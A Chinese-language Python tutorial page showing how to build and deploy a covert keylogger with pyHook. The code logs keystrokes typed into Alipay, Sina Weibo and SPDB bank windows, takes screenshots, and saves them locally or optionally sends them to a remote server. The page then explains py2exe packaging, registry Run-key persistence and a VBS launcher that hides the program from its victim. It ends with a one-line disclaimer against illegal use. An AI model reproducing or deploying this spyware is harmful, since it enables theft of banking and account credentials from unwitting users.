Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
浅谈Python2.6和Python3.0中八进制数字表示的区别
Apr 28 Python
django框架如何集成celery进行开发
May 24 Python
详解Python3操作Mongodb简明易懂教程
May 25 Python
详谈python http长连接客户端
Jun 12 Python
浅谈pandas中shift和diff函数关系
Apr 08 Python
python 中文件输入输出及os模块对文件系统的操作方法
Aug 27 Python
Python初学者需要注意的事项小结(python2与python3)
Sep 26 Python
解决新django中的path不能使用正则表达式的问题
Dec 18 Python
Python+OpenCV感兴趣区域ROI提取方法
Jan 10 Python
opencv导入头文件时报错#include的解决方法
Jul 31 Python
浅谈Python中文件夹和python package包的区别
Jun 01 Python
python 装饰器的基本使用
Jan 13 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
世界咖啡生产者论坛呼吁:需要立即就咖啡价格采取认真行动
2021/03/06 咖啡文化
php自动加载的两种实现方法
2010/06/21 PHP
php懒人函数 自动添加数据
2011/06/28 PHP
PHP加密扩展库Mcrypt安装和实例
2013/11/10 PHP
Laravel框架路由设置与使用示例
2018/06/12 PHP
PHP反射学习入门示例
2019/06/14 PHP
jquery 输入框数字限制插件
2009/11/10 Javascript
JavaScript去除空格的三种方法(正则/传参函数/trim)
2013/02/06 Javascript
JS打开层/关闭层/移动层动画效果的实例代码
2013/05/11 Javascript
jquery中选择块并改变属性值的方法
2013/07/31 Javascript
JavaScript截取字符串的2个函数介绍
2014/08/27 Javascript
浅谈JavaScript数据类型
2015/03/03 Javascript
举例讲解Node.js中的Writable对象
2015/07/29 Javascript
jQuery自定义数值抽奖活动代码
2016/06/11 Javascript
Zabbix添加Node.js监控的方法
2016/10/20 Javascript
详解vue-cli中配置sass
2017/06/21 Javascript
关于Vue Webpack2单元测试示例详解
2017/08/14 Javascript
[05:31]DOTA2英雄梦之声_第08期_莉娜
2014/06/23 DOTA
[00:43]TI7不朽珍藏III——幽鬼不朽展示
2017/07/15 DOTA
Python中flatten( )函数及函数用法详解
2018/11/02 Python
Python3.5面向对象与继承图文实例详解
2019/04/24 Python
Python入门Anaconda和Pycharm的安装和配置详解
2019/07/16 Python
Python Django框架模板渲染功能示例
2019/11/08 Python
Python tkinter和exe打包的方法
2020/02/05 Python
Python为何不支持switch语句原理详解
2020/10/21 Python
俄罗斯家居用品购物网站:Евродом
2020/11/21 全球购物
药物学专业学生的自我评价
2013/10/27 职场文书
创业者迈进成功第一步:如何写创业计划书?
2014/03/22 职场文书
大学专科自荐信
2014/06/17 职场文书
师德师风自查材料
2014/10/14 职场文书
公路施工安全责任书
2015/05/08 职场文书
小学教代会开幕词
2016/03/04 职场文书
JavaScript 实现页面滚动动画
2021/04/24 Javascript
Css预编语言及区别详解
2021/04/25 HTML / CSS
什么是SOLID
2022/03/24 Javascript
《LOL》“克隆大作战”久违归来 幻灵战队皮肤上线
2022/04/03 其他游戏